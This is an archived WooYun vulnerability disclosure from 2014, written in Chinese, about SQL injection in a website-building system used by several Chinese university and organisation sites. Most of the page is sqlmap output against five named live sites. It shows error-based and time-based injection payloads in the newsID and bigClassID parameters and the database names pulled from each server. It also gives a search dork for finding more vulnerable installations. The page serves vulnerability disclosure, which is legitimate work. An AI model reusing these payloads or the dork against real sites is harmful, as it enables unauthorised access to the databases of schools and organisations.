当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063046

漏洞标题:某建站系统无限制通用型sql注入(涉及多个学校,我要开启刷洞模式了)

相关厂商:杭州网轩科技有限公司

漏洞作者: Mosuan

提交时间:2014-06-05 16:32

修复时间:2014-09-03 16:34

公开时间:2014-09-03 16:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-05: 细节已通知厂商并且等待厂商处理中
2014-06-10: 厂商已经确认,细节仅向厂商公开
2014-06-13: 细节向第三方安全合作伙伴开放
2014-08-04: 细节向核心白帽子及相关领域专家公开
2014-08-14: 细节向普通白帽子公开
2014-08-24: 细节向实习白帽子公开
2014-09-03: 细节向公众公开

简要描述:

呵呵

详细说明:

关键词我构造不好,构造了几个,发现小部分不存在注入。
百度来的都是大学的网站多
下面的关键词仅供参考

inurl:ShowNewsPageAction.do?newsID=
技术支持:网轩科技


举几个例子吧
1.

注入地址:http://www.gu.zjut.edu.cn/ShowNewsPageAction.do?newsID=3824
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:56:40
[23:56:40] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.gu.zjut.edu.cn\session' as session file
[23:56:40] [INFO] testing connection to the target url
[23:56:40] [INFO] testing if the url is stable, wait a few seconds
[23:56:44] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[23:57:13] [INFO] searching for dynamic content
[23:57:14] [INFO] dynamic content marked for removal (40 regions)
[23:57:14] [INFO] testing if GET parameter 'newsID' is dynamic
[23:57:14] [INFO] confirming that GET parameter 'newsID' is dynamic
[23:57:14] [WARNING] GET parameter 'newsID' appears to be not dynamic
[23:57:15] [WARNING] heuristic test shows that GET parameter 'newsID' might not
be injectable
[23:57:15] [INFO] testing sql injection on GET parameter 'newsID'
[23:57:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:57:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:57:18] [INFO] GET parameter 'newsID' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[23:57:18] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:57:18] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:57:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:57:26] [INFO] target url appears to be UNION injectable with 1 columns
[23:57:27] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[23:57:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'newsID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: newsID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: newsID=3824' AND (SELECT 5795 FROM(SELECT COUNT(*),CONCAT(0x3a7a647
a3a,(SELECT (CASE WHEN (5795=5795) THEN 1 ELSE 0 END)),0x3a746c623a,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MrEY'='MrEY
---
[23:57:36] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[23:57:36] [INFO] fetching database names
[23:57:37] [INFO] the SQL query used returns 4 entries
[23:57:37] [INFO] retrieved: information_schema
[23:57:37] [INFO] retrieved: mysql
[23:57:37] [INFO] retrieved: test
[23:57:38] [INFO] retrieved: yjstd
available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] yjstd
[23:57:38] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 48 times
[23:57:38] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.gu.zjut.edu.cn'


2.

注入地址:http://51hqys.com/ShowNewsPageAction.do?newsID=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:33:55
[23:33:55] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\51hqys.com\session' as session file
[23:33:55] [INFO] testing connection to the target url
[23:33:56] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
[23:33:56] [INFO] testing if the url is stable, wait a few seconds
[23:33:57] [INFO] url is stable
[23:33:57] [INFO] testing if GET parameter 'newsID' is dynamic
[23:33:57] [WARNING] GET parameter 'newsID' appears to be not dynamic
[23:33:58] [INFO] heuristic test shows that GET parameter 'newsID' might be inje
ctable (possible DBMS: MySQL)
[23:33:58] [INFO] testing sql injection on GET parameter 'newsID'
[23:33:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:34:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:34:04] [INFO] GET parameter 'newsID' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[23:34:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:34:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:34:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:34:05] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[23:34:07] [INFO] target url appears to have 1 columns in query
[23:34:08] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[23:34:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'newsID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: newsID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: newsID=1' AND (SELECT 6988 FROM(SELECT COUNT(*),CONCAT(0x3a636e6e3a
,(SELECT (CASE WHEN (6988=6988) THEN 1 ELSE 0 END)),0x3a78666a3a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'uSne'='uSne
---
[23:34:10] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[23:34:10] [INFO] fetching database names
[23:34:11] [INFO] the SQL query used returns 2 entries
[23:34:11] [INFO] retrieved: information_schema
[23:34:11] [INFO] retrieved: 51hqys
available databases [2]:
[*] 51hqys
[*] information_schema
[23:34:11] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 35 times
[23:34:11] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\51hqys.com'


3.

注入地址:http://www.zjctaa.org.cn/ShowNewsPageAction.do?newsID=638
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:39:25
[23:39:25] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.zjctaa.org.cn\session' as session file
[23:39:25] [INFO] testing connection to the target url
[23:39:25] [INFO] testing if the url is stable, wait a few seconds
[23:39:27] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[23:39:28] [INFO] testing if GET parameter 'newsID' is dynamic
[23:39:29] [INFO] confirming that GET parameter 'newsID' is dynamic
[23:39:29] [WARNING] GET parameter 'newsID' appears to be not dynamic
[23:39:29] [WARNING] heuristic test shows that GET parameter 'newsID' might not
be injectable
[23:39:29] [INFO] testing sql injection on GET parameter 'newsID'
[23:39:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:39:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:39:38] [INFO] GET parameter 'newsID' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[23:39:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:39:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:39:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:39:48] [INFO] target url appears to be UNION injectable with 1 columns
[23:39:49] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[23:39:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'newsID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: newsID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: newsID=638' AND (SELECT 8407 FROM(SELECT COUNT(*),CONCAT(0x3a73726f
3a,(SELECT (CASE WHEN (8407=8407) THEN 1 ELSE 0 END)),0x3a77737a3a,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pJoD'='pJoD
---
[23:40:11] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[23:40:11] [INFO] fetching database names
[23:40:12] [INFO] the SQL query used returns 15 entries
[23:40:15] [INFO] retrieved: information_schema
[23:40:16] [INFO] retrieved: e6_flow_form
[23:40:16] [INFO] retrieved: lsyhjys
[23:40:17] [INFO] retrieved: mysql
[23:40:17] [INFO] retrieved: nbsmzx_oa
[23:40:17] [INFO] retrieved: nbwlgjxx
[23:40:18] [INFO] retrieved: shiliang
[23:40:18] [INFO] retrieved: shiliangbbs
[23:40:18] [INFO] retrieved: weishetuanbbs
[23:40:19] [INFO] retrieved: wxkj_cdsyxx
[23:40:19] [INFO] retrieved: wxoa
[23:40:20] [INFO] retrieved: zjcta
[23:40:20] [INFO] retrieved: zt01
[23:40:21] [INFO] retrieved: zt02
[23:40:21] [INFO] retrieved: zt03
available databases [15]:
[*] e6_flow_form
[*] information_schema
[*] lsyhjys
[*] mysql
[*] nbsmzx_oa
[*] nbwlgjxx
[*] shiliang
[*] shiliangbbs
[*] weishetuanbbs
[*] wxkj_cdsyxx
[*] wxoa
[*] zjcta
[*] zt01
[*] zt02
[*] zt03
[23:40:21] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 59 times
[23:40:21] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.zjctaa.org.cn'


4.

注入地址:http://www.hcxsgz.zjut.edu.cn/ShowNewsPageAction.do?newsID=6420
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:01:41
[00:01:41] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.hcxsgz.zjut.edu.cn\session' as session file
[00:01:41] [INFO] testing connection to the target url
[00:01:41] [INFO] testing if the url is stable, wait a few seconds
[00:01:43] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:01:44] [INFO] testing if GET parameter 'newsID' is dynamic
[00:01:44] [INFO] confirming that GET parameter 'newsID' is dynamic
[00:01:44] [WARNING] GET parameter 'newsID' appears to be not dynamic
[00:01:45] [INFO] heuristic test shows that GET parameter 'newsID' might be inje
ctable (possible DBMS: MySQL)
[00:01:45] [INFO] testing sql injection on GET parameter 'newsID'
[00:01:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:01:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:01:47] [INFO] GET parameter 'newsID' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[00:01:47] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:01:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:01:58] [INFO] GET parameter 'newsID' is 'MySQL > 5.0.11 AND time-based blind
' injectable
[00:01:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:02:00] [INFO] target url appears to be UNION injectable with 1 columns
[00:02:00] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[00:02:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'newsID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 41 HTTP(s) requ
ests:
---
Place: GET
Parameter: newsID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: newsID=6420' AND (SELECT 2532 FROM(SELECT COUNT(*),CONCAT(0x3a62796
b3a,(SELECT (CASE WHEN (2532=2532) THEN 1 ELSE 0 END)),0x3a7068713a,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kwLT'='kwLT
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: newsID=6420' AND SLEEP(5) AND 'oodx'='oodx
---
[00:02:05] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[00:02:05] [INFO] fetching database names
[00:02:06] [INFO] the SQL query used returns 34 entries
[00:02:06] [INFO] retrieved: information_schema
[00:02:06] [INFO] retrieved: account
[00:02:06] [INFO] retrieved: dianyakj
[00:02:06] [INFO] retrieved: dykj
[00:02:07] [INFO] retrieved: gdfx
[00:02:07] [INFO] retrieved: gdmgjpkc
[00:02:08] [INFO] retrieved: gydx
[00:02:08] [INFO] retrieved: gydx2
[00:02:08] [INFO] retrieved: hcoa
[00:02:09] [INFO] retrieved: hcoa2
[00:02:09] [INFO] retrieved: hcoa_ceshi
[00:02:09] [INFO] retrieved: hcoa_cs
[00:02:10] [INFO] retrieved: hcxsgz
[00:02:10] [INFO] retrieved: iecobox
[00:02:10] [INFO] retrieved: jlttestalpha
[00:02:11] [INFO] retrieved: jsjoav2
[00:02:11] [INFO] retrieved: mysql
[00:02:11] [INFO] retrieved: oa
[00:02:11] [INFO] retrieved: oa_cs
[00:02:12] [INFO] retrieved: oav2
[00:02:12] [INFO] retrieved: prodd
[00:02:13] [INFO] retrieved: rwoa
[00:02:13] [INFO] retrieved: schooloa
[00:02:13] [INFO] retrieved: shoa
[00:02:13] [INFO] retrieved: shoav2
[00:02:13] [INFO] retrieved: shxy
[00:02:14] [INFO] retrieved: strutsarch152
[00:02:14] [INFO] retrieved: strutsarchoa
[00:02:14] [INFO] retrieved: test
[00:02:14] [INFO] retrieved: tiyan
[00:02:15] [INFO] retrieved: train
[00:02:15] [INFO] retrieved: wb
[00:02:15] [INFO] retrieved: wxoa
[00:02:15] [INFO] retrieved: yunhebei
available databases [34]:
[*] account
[*] dianyakj
[*] dykj
[*] gdfx
[*] gdmgjpkc
[*] gydx
[*] gydx2
[*] hcoa
[*] hcoa2
[*] hcoa_ceshi
[*] hcoa_cs
[*] hcxsgz
[*] iecobox
[*] information_schema
[*] jlttestalpha
[*] jsjoav2
[*] mysql
[*] oa
[*] oa_cs
[*] oav2
[*] prodd
[*] rwoa
[*] schooloa
[*] shoa
[*] shoav2
[*] shxy
[*] strutsarch152
[*] strutsarchoa
[*] test
[*] tiyan
[*] train
[*] wb
[*] wxoa
[*] yunhebei
[00:02:15] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 79 times
[00:02:15] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.hcxsgz.zjut.edu.cn'


5.
注入地址:http://www.mse.zjut.edu.cn/ShowNewsPageAction.do?newsID=2440&smallClassID=13&bigClassID=5

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:09:53
[00:09:53] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.mse.zjut.edu.cn\session' as session file
[00:09:53] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[00:09:53] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: bigClassID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: newsID=2440&smallClassID=13&bigClassID=5' AND (SELECT 4526 FROM(SEL
ECT COUNT(*),CONCAT(0x3a6d6a713a,(SELECT (CASE WHEN (4526=4526) THEN 1 ELSE 0 EN
D)),0x3a7664683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
BY x)a) AND 'dEbk'='dEbk
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: newsID=2440&smallClassID=13&bigClassID=5' AND SLEEP(5) AND 'ldHV'='
ldHV
---
[00:09:53] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[00:09:53] [INFO] fetching database names
[00:09:53] [INFO] the SQL query used returns 5 entries
[00:09:53] [INFO] resumed: information_schema
[00:09:53] [INFO] resumed: cgxy_yw
[00:09:53] [INFO] resumed: mysql
[00:09:53] [INFO] resumed: test
[00:09:53] [INFO] resumed: xsgz
available databases [5]:
[*] cgxy_yw
[*] information_schema
[*] mysql
[*] test
[*] xsgz
[00:09:54] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.mse.zjut.edu.cn'


你们慢慢研究吧......

漏洞证明:

详细说明

修复方案:

你们懂的!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-06-10 15:43

厂商回复:

最新状态:

暂无